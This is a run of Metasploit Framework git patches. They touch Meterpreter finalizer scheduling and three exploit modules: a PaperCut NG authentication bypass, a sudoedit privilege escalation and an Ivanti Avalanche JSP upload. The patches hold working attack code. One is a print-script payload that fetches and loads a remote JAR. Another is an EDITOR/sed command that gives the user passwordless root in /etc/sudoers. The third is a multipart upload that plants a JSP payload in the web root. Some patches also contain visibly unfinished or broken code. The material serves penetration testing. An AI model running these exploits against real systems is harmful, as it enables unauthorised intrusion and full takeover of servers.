do - begin - self.close(client,handle) - rescue => e - elog("finalize method for EventLog failed", error: e) + deferred_close_proc = proc do + begin + self.close(client,handle) + rescue => e + elog("finalize method for EventLog failed", error: e) + end end + + # Schedule the finalizing logic out-of-band; as this logic might be called in the context of a Signal.trap, which can't synchronize mutexes + client.framework.sessions.schedule(deferred_close_proc) end end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb b/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb index a146189406f7f..6099101c80258 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb @@ -337,11 +337,16 @@ def initialize(pid, handle, channel = nil) def self.finalize(client, handle) proc do - begin - self.close(client, handle) - rescue => e - elog("finalize method for Process failed", error: e) + deferred_close_proc = proc do + begin + self.close(client, handle) + rescue => e + elog("finalize method for Process failed", error: e) + end end + + # Schedule the finalizing logic out-of-band; as this logic might be called in the context of a Signal.trap, which can't synchronize mutexes + client.framework.sessions.schedule(deferred_close_proc) end end @@ -366,7 +371,7 @@ def self.close(client, handle) request = Packet.create_request(COMMAND_ID_STDAPI_SYS_PROCESS_CLOSE) request.add_tlv(TLV_TYPE_HANDLE, handle) client.send_request(request, nil) - handle = nil; + handle = nil return true end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb b/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb index 8daefe8a3a464..d66acf9b525d2 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb @@ -36,11 +36,16 @@ def initialize(client, root_key, base_key, perm, hkey) def self.finalize(client,hkey) proc do - begin - self.close(client,hkey) - rescue => e - elog("finalize method for RegistryKey failed", error: e) + deferred_close_proc = proc do + begin + self.close(client,hkey) + rescue => e + elog("finalize method for RegistryKey failed", error: e) + end end + + # Schedule the finalizing logic out-of-band; as this logic might be called in the context of a Signal.trap, which can't synchronize mutexes + client.framework.sessions.schedule(deferred_close_proc) end end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/remote_registry_key.rb b/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/remote_registry_key.rb index aa5320c894864..79a6a2daf3abd 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/remote_registry_key.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/remote_registry_key.rb @@ -35,11 +35,17 @@ def initialize(client, target_host, root_key, hkey) def self.finalize(client, hkey) proc do - begin - self.close(client, hkey) - rescue => e - elog("finalize method for RemoteRegistryKey failed", error: e) + # Schedule the finalizing logic out-of-band; as this logic might be called in the context of a Signal.trap, which can't synchronize mutexes + client.framework.sessions.schedule do + begin + self.close(client, hkey) + rescue => e + elog("finalize method for RemoteRegistryKey failed", error: e) + end end + + # Schedule the finalizing logic out-of-band; as this logic might be called in the context of a Signal.trap, which can't synchronize mutexes + client.framework.sessions.schedule(deferred_close_proc) end end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/sys/thread.rb b/lib/rex/post/meterpreter/extensions/stdapi/sys/thread.rb index cd5a1dafc49fb..294a0e91f0b42 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/sys/thread.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/sys/thread.rb @@ -41,11 +41,16 @@ def initialize(process, handle, tid) def self.finalize(client,handle) proc do - begin - self.close(client, handle) - rescue => e - elog("finalize method for thread failed", error: e) + deferred_close_proc = proc do + begin + self.close(client, handle) + rescue => e + elog("finalize method for thread failed", error: e) + end end + + # Schedule the finalizing logic out-of-band; as this logic might be called in the context of a Signal.trap, which can't synchronize mutexes + client.framework.sessions.schedule(deferred_close_proc) end end From 5f12f0e0ba09c8c5e44822585e25261f03613a79 Mon Sep 17 00:00:00 2001 From: Catatonic Prime Date: Fri, 5 May 2023 11:07:08 -0700 Subject: [PATCH 080/415] Apply suggestions from code review Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com> --- .../multi/http/papercut_ng_auth_bypass.rb | 16 +++++++--------- 1 file changed, 7 insertions(+), 9 deletions(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index d75d1c4a758aa..4dfddb87f3347 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -29,6 +29,7 @@ def initialize(info = {}) 'License' => MSF_LICENSE, 'Author' => [ 'catatonicprime' ], 'References' => [ + ['CVE', '2023–27350'], [ 'URL', 'https://www.papercut.com/kb/Main/PO-1216-and-PO-1219' ], [ 'URL', 'https://www.horizon3.ai/papercut-cve-2023-27350-deep-dive-and-indicators-of-compromise/' ], [ 'URL', 'https://www.bleepingcomputer.com/news/security/hackers-actively-exploit-critical-rce-bug-in-papercut-servers/'], @@ -37,7 +38,7 @@ def initialize(info = {}) 'Stance' => Msf::Exploit::Stance::Aggressive, 'Targets' => [ [ 'Automatic Target', {}] ], 'Platform' => [ 'java' ], - 'Payload' => {}, + 'Arch' => ARCH_JAVA, 'Privileged' => true, 'DisclosureDate' => '2023-03-13', 'DefaultTarget' => 0, @@ -56,7 +57,7 @@ def initialize(info = {}) register_options( [ OptString.new('TARGETURI', [true, 'Path to the papercut application', '/app']), - OptInt.new('HTTPDELAY', [false, 'Path to the papercut application']) + OptInt.new('HTTPDELAY', [false, '...'], 10) ], self.class ) end @@ -76,7 +77,8 @@ def bypass_auth return nil unless res && res.code == 200 vprint_good("Bypass successful and created session: #{cookie_jar.cookies[0]}") - res.get_html_document.xpath('//script')[-1].text.split("'")[1] +match = res.get_html_document.xpath('//script[contains(text(),"csrfToken")]').text.match(/var csrfToken ?= ?'(?[^']*)'/) +match ? match[:csrf] : '' end def get_config_option(name) @@ -154,11 +156,7 @@ def primer 'enablePrintScript' => 'on', '$Submit$1' => 'Apply', 'printerId' => 'l1001', - 'scriptBody' => %{ -var urls = [new java.net.URL("#{payload_uri}.jar")]; -var cl = new java.net.URLClassLoader(urls).loadClass('metasploit.Payload').newInstance().main([]); -s; -} + 'scriptBody' => script } } ) @@ -180,7 +178,7 @@ def exploit # Main function # 1) Bypass the auth using the SetupCompleted page & store the csrf_token for future requests. - @csrf_token = bypass_auth + @csrf_token = bypass_auth unless @csrf_token if @csrf_token.nil? fail_with Failure::NotVulnerable, 'Target is not vulnerable' end From f27648799b42c7e2cd6b8a28a653faaa8c2bd637 Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Fri, 5 May 2023 18:19:53 +0000 Subject: [PATCH 081/415] Adding original ZDI reference. Minor formatting changes. --- .../exploits/multi/http/papercut_ng_auth_bypass.rb | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index 4dfddb87f3347..a990bca54e21b 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -27,13 +27,14 @@ def initialize(info = {}) to modifcation of server settings. }, 'License' => MSF_LICENSE, - 'Author' => [ 'catatonicprime' ], + 'Author' => ['catatonicprime'], 'References' => [ ['CVE', '2023–27350'], - [ 'URL', 'https://www.papercut.com/kb/Main/PO-1216-and-PO-1219' ], - [ 'URL', 'https://www.horizon3.ai/papercut-cve-2023-27350-deep-dive-and-indicators-of-compromise/' ], - [ 'URL', 'https://www.bleepingcomputer.com/news/security/hackers-actively-exploit-critical-rce-bug-in-papercut-servers/'], - [ 'URL', 'https://www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software' ] + ['ZDI', 'CAN-18987'], + ['URL', 'https://www.papercut.com/kb/Main/PO-1216-and-PO-1219'], + ['URL', 'https://www.horizon3.ai/papercut-cve-2023-27350-deep-dive-and-indicators-of-compromise/'], + ['URL', 'https://www.bleepingcomputer.com/news/security/hackers-actively-exploit-critical-rce-bug-in-papercut-servers/'], + ['URL', 'https://www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software'] ], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Targets' => [ [ 'Automatic Target', {}] ], From e692e927dc4a3740bb83c9555d6de16a4382c7f2 Mon Sep 17 00:00:00 2001 From: h00die Date: Fri, 5 May 2023 16:43:47 -0400 Subject: [PATCH 082/415] review fixes --- .../linux/local/sudoedit_bypass_priv_esc.md | 34 ++++--- .../linux/local/sudoedit_bypass_priv_esc.rb | 90 +++++++++++++------ 2 files changed, 86 insertions(+), 38 deletions(-) diff --git a/documentation/modules/exploit/linux/local/sudoedit_bypass_priv_esc.md b/documentation/modules/exploit/linux/local/sudoedit_bypass_priv_esc.md index e319e23110b9e..8923bd056914e 100644 --- a/documentation/modules/exploit/linux/local/sudoedit_bypass_priv_esc.md +++ b/documentation/modules/exploit/linux/local/sudoedit_bypass_priv_esc.md @@ -7,12 +7,11 @@ append arbitrary entries to the list of files to process. This can lead to privi by appending extra entries on /etc/sudoers allowing for execution of an arbitrary payload with root privileges. -Affected versions are 1.8.0 through 1.9.12.p1. +Affected versions are 1.8.0 through 1.9.12.p1. However THIS module only works against Ubuntu +22.04 and 22.10. -The check method for this module will only work with Debian based systems. However, -many *nix based systems should be vulnerable. - -This module was tested against sudo 1.9.9-1ubuntu2 on Ubuntu 22.04 +This module was tested against sudo 1.9.9-1ubuntu2 on Ubuntu 22.04, and +1.9.11p3-1ubuntu1 on Ubuntu 22.10. ### Exploit Breakdown @@ -30,23 +29,34 @@ Next we execute out payload, launching it through our shell. Many of the PoCs work via user input where you have to manually edit `/etc/sudoers`. Obviously this strategy won't work with Metasploit, as we need to automate it. Early attempts tried to script `vi` into performing the write and quite command, similar to: -`EDITOR="vi -c ':$' -c ':s/$/\\ruser ALL=(ALL:ALL) ALL/' -c ':wq' -c ':q' -- /etc/sudoers" sudo -e /etc/motd` +```EDITOR="vi -c ':$' -c ':s/$/\\r`whoami` ALL=(ALL:ALL) ALL/' -c ':wq' -c ':q' -- /etc/sudoers" sudo -e /etc/motd``` However, the command didn't do well with newlines and escaping. `sed` however is a valid editor, so it was relatively trivial to script out adding the new entry via sed: ```EDITOR="sed -i -e '$ a `whoami` ALL=(ALL:ALL) NOPASSWD: ALL' -- /etc/sudoers" sudo -e /etc/motd``` -#### Fedora 21 +#### Results from other OSes + +Most of the errors are similar to: ``` -[*] Executing command: EDITOR="sed -i -e '$ a fedora ALL=(ALL:ALL) NOPASSWD: /bin/sh # ZMoAqOkBfR9e' -- /etc/sudoers" sudo -S -e /etc/passwd +[*] Executing command: EDITOR="sed -i -e '$ a `whoami` ALL=(ALL:ALL) NOPASSWD: /bin/sh # 2Iq0tUAqsqtn' -- /etc/sudoers" sudo -S -e /etc/motd +[*] sudo: --: editing files in a writable directory is not permitted [*] sed: -e expression #1, char 1: unknown command: `'' ``` - ### Install -On Ubuntu 22.04: +#### On Ubuntu 22.10: + +``` +https://mirrors.wikimedia.org/ubuntu/ubuntu/pool/main/s/sudo/sudo_1.9.11p3-1ubuntu1_amd64.deb +sudo dpkg -i sudo_1.9.11p3-1ubuntu1_amd64.deb +``` + +Follow the 22.04 instructions, after installing the deb package, to configure the host. + +#### On Ubuntu 22.04: ``` wget http://security.ubuntu.com/ubuntu/pool/main/s/sudo/sudo_1.9.9-1ubuntu2_amd64.deb @@ -90,6 +100,10 @@ if auto detection fails. Which shell to use. Defaults to `/bin/sh` +### TIMEOUT + +The amount of time to wait for a `sudo` command to respond. Defaults to `5`. + ## Scenarios diff --git a/modules/exploits/linux/local/sudoedit_bypass_priv_esc.rb b/modules/exploits/linux/local/sudoedit_bypass_priv_esc.rb index 2f3f9da6ebf0f..44577dc175627 100644 --- a/modules/exploits/linux/local/sudoedit_bypass_priv_esc.rb +++ b/modules/exploits/linux/local/sudoedit_bypass_priv_esc.rb @@ -26,12 +26,11 @@ def initialize(info = {}) by appending extra entries on /etc/sudoers allowing for execution of an arbitrary payload with root privileges. - Affected versions are 1.8.0 through 1.9.12.p1. + Affected versions are 1.8.0 through 1.9.12.p1. However THIS module only works against Ubuntu + 22.04 and 22.10. - The check method for this module will only work with Debian based systems. However, - many *nix based systems should be vulnerable. - - This module was tested against sudo 1.9.9-1ubuntu2 on Ubuntu 22.04 + This module was tested against sudo 1.9.9-1ubuntu2 on Ubuntu 22.04, and + 1.9.11p3-1ubuntu1 on Ubuntu 22.10. }, 'License' => MSF_LICENSE, 'Author' => [ @@ -66,10 +65,15 @@ def initialize(info = {}) register_advanced_options [ OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), OptString.new('EDITABLEFILE', [ false, 'A file which can be edited with sudo -e or sudoedit' ]), - OptString.new('SHELL', [ true, 'A shell we can launch our payload from. Bash or SH should be safe', '/bin/sh' ]) + OptString.new('SHELL', [ true, 'A shell we can launch our payload from. Bash or SH should be safe', '/bin/sh' ]), + OptInt.new('TIMEOUT', [true, 'The timeout waiting for sudo commands to respond', 10]), ] end + def timeout + datastore['TIMEOUT'] + end + # Simplify pulling the writable directory variable def base_dir datastore['WritableDir'].to_s @@ -90,50 +94,76 @@ def get_editable_file editable_file end + def get_sudo_version_from_sudo + package = cmd_exec('sudo --version') + package = package.split(' ')[2] # Sudo version XXX + begin + Rex::Version.new(package) + rescue ArgumentError + # this happens on systems like debian 8.7.1 which doesn't have sudo + Rex::Version.new(0) + end + end + def check sys_info = get_sysinfo # Check the app is installed and the version - if sys_info['distro'] == 'ubuntu' || sys_info['distro'] == 'debian' + if sys_info[:distro] == 'ubuntu' || sys_info[:distro] == 'debian' package = cmd_exec('dpkg -l sudo | grep \'^ii\'') - package = package.split(' ')[2] # ii, package name, version, arch for debian, or Sudo version XXX for other - ver_no = Rex::Version.new(package) + package = package.split(' ')[2] # ii, package name, version, arch + begin + ver_no = Rex::Version.new(package) + rescue ArgumentError + ver_no = get_sudo_version_from_sudo + end else - package = cmd_exec('sudo --version') - package = package.split(' ')[2] # ii, package name, version, arch for debian, or Sudo version XXX for other - ver_no = Rex::Version.new(package) + ver_no = get_sudo_version_from_sudo end # according to CVE listing, but so much backporting... minimal_version = '1.8.0' maximum_version = '1.9.12p1' + exploitable = false # backporting... so annoying. # https://ubuntu.com/security/CVE-2023-22809 - if sys_info['distro'] == 'ubuntu' - if sys_info['version'].include? '22.10' # kinetic + if sys_info[:distro] == 'ubuntu' + if sys_info[:version].include? '22.10' # kinetic + exploitable = true maximum_version = '1.9.11p3-1ubuntu1.1' - elsif sys_info['version'].include? '22.04' # jammy + elsif sys_info[:version].include? '22.04' # jammy + exploitable = true maximum_version = '1.9.9-1ubuntu2.2' - elsif sys_info['version'].include? '20.04' # focal + elsif sys_info[:version].include? '20.04' # focal maximum_version = '1.8.31-1ubuntu1.4' - elsif sys_info['version'].include? '18.04' # bionic + elsif sys_info[:version].include? '18.04' # bionic maximum_version = '1.8.21p2-3ubuntu1.5' - elsif sys_info['version'].include? '16.04' # xenial + elsif sys_info[:version].include? '16.04' # xenial maximum_version = '1.8.16-0ubuntu1.10+esm1' - elsif sys_info['version'].include? '14.04' # trusty + elsif sys_info[:version].include? '14.04' # trusty maximum_version = '1.8.9p5-1ubuntu1.5+esm7' end end + if ver_no == Rex::Version.new(0) + return Exploit::CheckCode::Unknown('Unable to detect sudo version') + end + if ver_no < Rex::Version.new(maximum_version) && ver_no >= Rex::Version.new(minimal_version) vprint_good("sudo version #{ver_no} is vulnerable") # check if theres an entry in /etc/sudoers that allows us to edit a file editable_file = get_editable_file if editable_file.nil? - return CheckCode::Appears("Sudo #{ver_no} is vulnerable, but unable to determine editable file. Please set EDITABLEFILE option manually") - else + if exploitable + return CheckCode::Appears("Sudo #{ver_no} is vulnerable, but unable to determine editable file. Please set EDITABLEFILE option manually") + else + return CheckCode::Appears("Sudo #{ver_no} is vulnerable, but unable to determine editable file. OS can NOT be exploited by this module") + end + elsif exploitable return CheckCode::Vulnerable("Sudo #{ver_no} is vulnerable, can edit: #{editable_file}") + else + return CheckCode::Vulnerable("Sudo #{ver_no} is vulnerable, can edit: #{editable_file}. OS can NOT be exploitabed by this module") end end @@ -160,7 +190,6 @@ def exploit upload_and_chmodx payload_path, generate_payload_exe register_file_for_cleanup(payload_path) - timeout = 5 # anything more than this we're stuck at a 'enter password' prompt @flag = Rex::Text.rand_text_alphanumeric(12) print_status 'Adding user to sudoers' # we tack on a flag so we can easily grep for this line and clean it up later @@ -168,14 +197,17 @@ def exploit vprint_status("Executing command: #{command}") output = cmd_exec command, nil, timeout - if output.include? 'editing files in a writable directory is not permitted' - print_good('Likely successful exploitation, detected possitive error message: editing files in a writable directory is not permitted') + if output.include? '/etc/sudoers unchanged' + fail_with(Failure::NoTarget, 'Failed to edit sudoers, command was unsuccessful') end + + if output.include? 'sudo: ignoring editor' + fail_with(Failure::NotVulnerable, 'sudo is patched') + end + output.each_line { |line| vprint_status line.chomp } print_status('Spawning payload') - timeout = 60 - # output = cmd_exec "sudo -S nohup #{@payload_path} &", nil, timeout # -S may not be needed here, but if exploitation didn't go well, we dont want to bork our shell # also, attempting to thread off of sudo was problematic, solution was # https://askubuntu.com/questions/1110865/how-can-i-run-detached-command-with-sudo-over-ssh @@ -186,9 +218,11 @@ def exploit def on_new_session(session) if @flag - print_bad("Manual cleanup is likely required, please run: sed -i '/\# #{@flag}/d' /etc/sudoers") - # attempt anyways, but likely doesn't work session.shell_command_token("sed -i '/\# #{@flag}/d' /etc/sudoers") + flag_found = session.shell_command_token("grep '#{@flag}' /etc/sudoers") + if flag_found.include? @flag + print_bad("Manual cleanup is required, please run: sed -i '/\# #{@flag}/d' /etc/sudoers") + end end super end From f04dababa2871b8f2a17339e9722705ae407500c Mon Sep 17 00:00:00 2001 From: space-r7 Date: Fri, 5 May 2023 18:59:46 -0500 Subject: [PATCH 083/415] add upload code --- ...ivanti_avalanche_filestoreconfig_upload.rb | 118 +++++++++++++++--- 1 file changed, 99 insertions(+), 19 deletions(-) diff --git a/modules/exploits/windows/http/ivanti_avalanche_filestoreconfig_upload.rb b/modules/exploits/windows/http/ivanti_avalanche_filestoreconfig_upload.rb index bc5f7aa1c9d21..6ce9bf4f53dde 100644 --- a/modules/exploits/windows/http/ivanti_avalanche_filestoreconfig_upload.rb +++ b/modules/exploits/windows/http/ivanti_avalanche_filestoreconfig_upload.rb @@ -126,6 +126,7 @@ def configure_filestore @original_config_path = html.xpath("//input[@id='txtUncPath']")&.first&.at('@value')&.text fail_with(Failure::UnexpectedReply, 'Unable to grab FileStore path') unless @original_config_path + print_status("Original FileStore config path: #{@original_config_path}") # determine drive letter drive_letter = @original_config_path.match(/([a-zA-Z])(:|\$)/) @@ -151,42 +152,121 @@ def configure_filestore new_config_path end - def upload_payload(_config_path) - res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), - 'method' => 'GET', - 'keep_cookies' => true - ) - - fail_with(Failure::UnexpectedReply, 'Failed to access updated FileStore page') unless res&.body&.include?('FileStore') - # need to 'select' webapps/AvalancheWeb to upload a file + def get_directory_val(res, dir_name) html = res.get_html_document results = html.xpath('//tr[contains(@class, "DIRECTORY")]') fail_with(Failure::UnexpectedReply, 'Failed to find list of expected directories') unless results - web_app_dir = results.find { |res| res.at('td').text.strip == 'webapps' } - fail_with(Failure::UnexpectedReply, 'Failed to find the \'webapps\' directory to write to') unless web_app_dir - data_rk = web_app_dir.at('@data-rk')&.value + + expand_dir = results.find { |res| res.at('td').text.strip == dir_name } + fail_with(Failure::UnexpectedReply, "Failed to find the '#{dir_name}' directory to write to") unless expand_dir + data_rk = expand_dir.at('@data-rk')&.value fail_with(Failure::UnexpectedReply, 'Failed to get value to expand \'webapps\' directory') unless data_rk - # require 'pry';binding.pry - res = send_request_cgi( + data_rk + end + + def expand_folder(data_rk, view_state) + send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), + 'method' => 'POST', + 'keep_cookies' => true, + 'vars_post' => { + 'javax.faces.partial.ajax' => true, + 'javax.faces.source' => 'fileStoreTree_dlgFileStoreTree', + 'javax.faces.partial.execute' => 'fileStoreTree_dlgFileStoreTree', + 'fileStoreTree_dlgFileStoreTree' => 'fileStoreTree_dlgFileStoreTree', + 'fileStoreTree_dlgFileStoreTree_expand' => data_rk, + 'javax.faces.ViewState' => view_state + } + ) + end + + def select_folder(data_rk, view_state) + send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), 'method' => 'POST', 'keep_cookies' => true, - 'vars_post' => {} + 'vars_post' => + { + 'javax.faces.partial.ajax' => true, + 'javax.faces.source' => 'fileStoreTree_dlgFileStoreTree', + 'javax.faces.partial.execute' => 'fileStoreTree_dlgFileStoreTree', + 'javax.faces.behavior.event' => 'select', + 'javax.faces.partial.event' => 'select', + 'fileStoreTree_dlgFileStoreTree_instantSelection' => data_rk, + 'form_filestore_tree' => 'form_filestore_tree', + 'fileStoreTree_dlgFileStoreTree_selection' => data_rk, + 'javax.faces.ViewState' => view_state + } + ) + end + + def upload_payload(_config_path) + # need to 'select' webapps/AvalancheWeb to upload a file + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), + 'method' => 'GET', + 'keep_cookies' => true ) - boundary = "#{'-' * 6}WebKitFormBoundary#{Rex::Text.rand_text_alphanumeric(15)}" - post_data = "#{boundary}\r\n" + fail_with(Failure::UnexpectedReply, 'Failed to access updated FileStore page') unless res&.body&.include?('FileStore') + web_data_rk = get_directory_val(res, 'webapps') + view_state = get_view_state(res.get_html_document) + fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state') unless view_state + + res = expand_folder(web_data_rk, view_state) + fail_with(Failure::UnexpectedReply, 'Did not receive response from \'webapps\' expansion') unless res + avalanche_data_rk = get_directory_val(res, 'AvalancheWeb') + view_state = get_view_state(res.get_html_document) + fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state') unless view_state + res = select_folder(avalanche_data_rk, view_state) + fail_with(Failure::UnexpectedReply, 'Did not receive response from \'AvalancheWeb\' selection') unless res + + view_state = get_view_state(res.get_html_document) + fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state') unless view_state + + boundary = "#{'-' * 4}WebKitFormBoundary#{Rex::Text.rand_text_alphanumeric(16)}" + puts "AvalancheWeb data_rk #{avalanche_data_rk}" + + post_data = "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"upload-form\"\r\n\r\n" post_data << "upload-form\r\n" - post_data << '' + post_data << "--#{boundary}\r\n" + post_data << "Content-Disposition: form-data; name=\"javax.faces.ViewState\"\r\n\r\n" + post_data << "#{view_state}\r\n" + post_data << "--#{boundary}\r\n" + post_data << "Content-Disposition: form-data; name=\"javax.faces.partial.ajax\r\n\r\n" + post_data << "true\r\n" + post_data << "--#{boundary}\r\n" + post_data << "Content-Disposition: form-data; name=\"javax.faces.partial.execute\"\r\n\r\n" + post_data << "importFileStoreItemPanel_dlgFileStoreTree\r\n" + post_data << "--#{boundary}\r\n" + post_data << "Content-Disposition: form-data; name=\"javax.faces.source\"\r\n\r\n" + post_data << "importFileStoreItemPanel_dlgFileStoreTree\r\n" + post_data << "--#{boundary}\r\n" + post_data << "Content-Disposition: form-data; name=\"javax.faces.partial.render\"\r\n\r\n" + post_data << "fileStoreTree_dlgFileStoreTree managementBtns addFolderDialog_dlgFileStoreTree renameItemDialog_dlgFileStoreTree confirmDeleteItemDialog_dlgFileStoreTree importMessages\r\n" + post_data << "--#{boundary}\r\n" + post_data << "Content-Disposition: form-data; name=\"importFileStoreItemPanel_dlgFileStoreTree\"; filename=\"blah.jsp\"\r\n" + post_data << "Content-Type: application/octet-stream\r\n\r\n" + post_data << "#{payload.encoded}\r\n" + post_data << "--#{boundary}--\r\n" res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), 'method' => 'POST', - 'keep_cookies' => true + 'keep_cookies' => true, + 'data' => post_data, + 'headers' => { + 'Accept' => 'application/xml, text/xml, */*; q=0.01', + 'Faces-Request' => 'partial/ajax', + 'X-RequestedWith' => 'XMLHttpRequest', + 'Content-Type' => "multipart/form-data; boundary=#{boundary}", + 'Accept-Encoding' => 'gzip, deflate' + } ) + require 'pry' + binding.pry end def reset_filestore_dir; end From e37e506fe296ee346c86af4534996139bf8a39b1 Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Sat, 6 May 2023 04:37:43 +0000 Subject: [PATCH 084/415] heh, I probably should have tested this --- modules/exploits/multi/http/papercut_ng_auth_bypass.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index a990bca54e21b..4d3d85176b2ad 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -58,7 +58,7 @@ def initialize(info = {}) register_options( [ OptString.new('TARGETURI', [true, 'Path to the papercut application', '/app']), - OptInt.new('HTTPDELAY', [false, '...'], 10) + OptInt.new('HTTPDELAY', [false, '...', 10]) ], self.class ) end From af3c482acd2dc18c7c6ad1142bfbef0562ac60ab Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Sat, 6 May 2023 04:54:16 +0000 Subject: [PATCH 085/415] heh, I probably should have tested that too --- modules/exploits/multi/http/papercut_ng_auth_bypass.rb | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index 4d3d85176b2ad..c0ab9e0f2e71c 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -141,6 +141,11 @@ def set_config_option(name, value) def primer payload_uri = get_uri + script = <<~SCRIPT + var urls = [new java.net.URL("#{payload_uri}.jar")]; + var cl = new java.net.URLClassLoader(urls).loadClass('metasploit.Payload').newInstance().main([]); + s; + SCRIPT # 6) Trigger the code execution the printer_id res = send_request_cgi( { From 0448d408ea3308ecabc698ec6c28a0098223911e Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Sat, 6 May 2023 04:58:50 +0000 Subject: [PATCH 086/415] Match wording from "How to write a module using HttpServer and HttpClient" on docs.metasploit.com --- modules/exploits/multi/http/papercut_ng_auth_bypass.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index c0ab9e0f2e71c..9398d09d58c65 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -58,7 +58,7 @@ def initialize(info = {}) register_options( [ OptString.new('TARGETURI', [true, 'Path to the papercut application', '/app']), - OptInt.new('HTTPDELAY', [false, '...', 10]) + OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10]) ], self.class ) end From c69ca39748fb20774c7b10a450d1e346906feccf Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Sat, 6 May 2023 05:07:59 +0000 Subject: [PATCH 087/415] consistent indenting --- modules/exploits/multi/http/papercut_ng_auth_bypass.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index 9398d09d58c65..39e184184de97 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -78,8 +78,8 @@ def bypass_auth return nil unless res && res.code == 200 vprint_good("Bypass successful and created session: #{cookie_jar.cookies[0]}") -match = res.get_html_document.xpath('//script[contains(text(),"csrfToken")]').text.match(/var csrfToken ?= ?'(?[^']*)'/) -match ? match[:csrf] : '' + match = res.get_html_document.xpath('//script[contains(text(),"csrfToken")]').text.match(/var csrfToken ?= ?'(?[^']*)'/) + match ? match[:csrf] : '' end def get_config_option(name) From d1e3ce1183f01031751ea0281373ebfee5dac0ec Mon Sep 17 00:00:00 2001 From: space-r7 Date: Mon, 8 May 2023 17:41:52 -0500 Subject: [PATCH 088/415] add Ivanti Avalanche file upload --- ...ivanti_avalanche_filestoreconfig_upload.rb | 91 ++++++++++++++++--- 1 file changed, 76 insertions(+), 15 deletions(-) diff --git a/modules/exploits/windows/http/ivanti_avalanche_filestoreconfig_upload.rb b/modules/exploits/windows/http/ivanti_avalanche_filestoreconfig_upload.rb index 6ce9bf4f53dde..51bb452c72eaa 100644 --- a/modules/exploits/windows/http/ivanti_avalanche_filestoreconfig_upload.rb +++ b/modules/exploits/windows/http/ivanti_avalanche_filestoreconfig_upload.rb @@ -6,6 +6,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking + include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient @@ -15,6 +16,10 @@ def initialize(info = {}) info, 'Name' => 'Ivanti Avalanche FileStoreConfig File Upload', 'Description' => %q{ + Vulnerable versions of Ivanti Avalanche permit MS-DOS style short + names in the configuration path for the Central FileStore. Because of + this, an administrator can change the default path to the web root + of the applications, upload a JSP file, and achieve RCE as NT AUTHORITY\SYSTEM. }, 'License' => 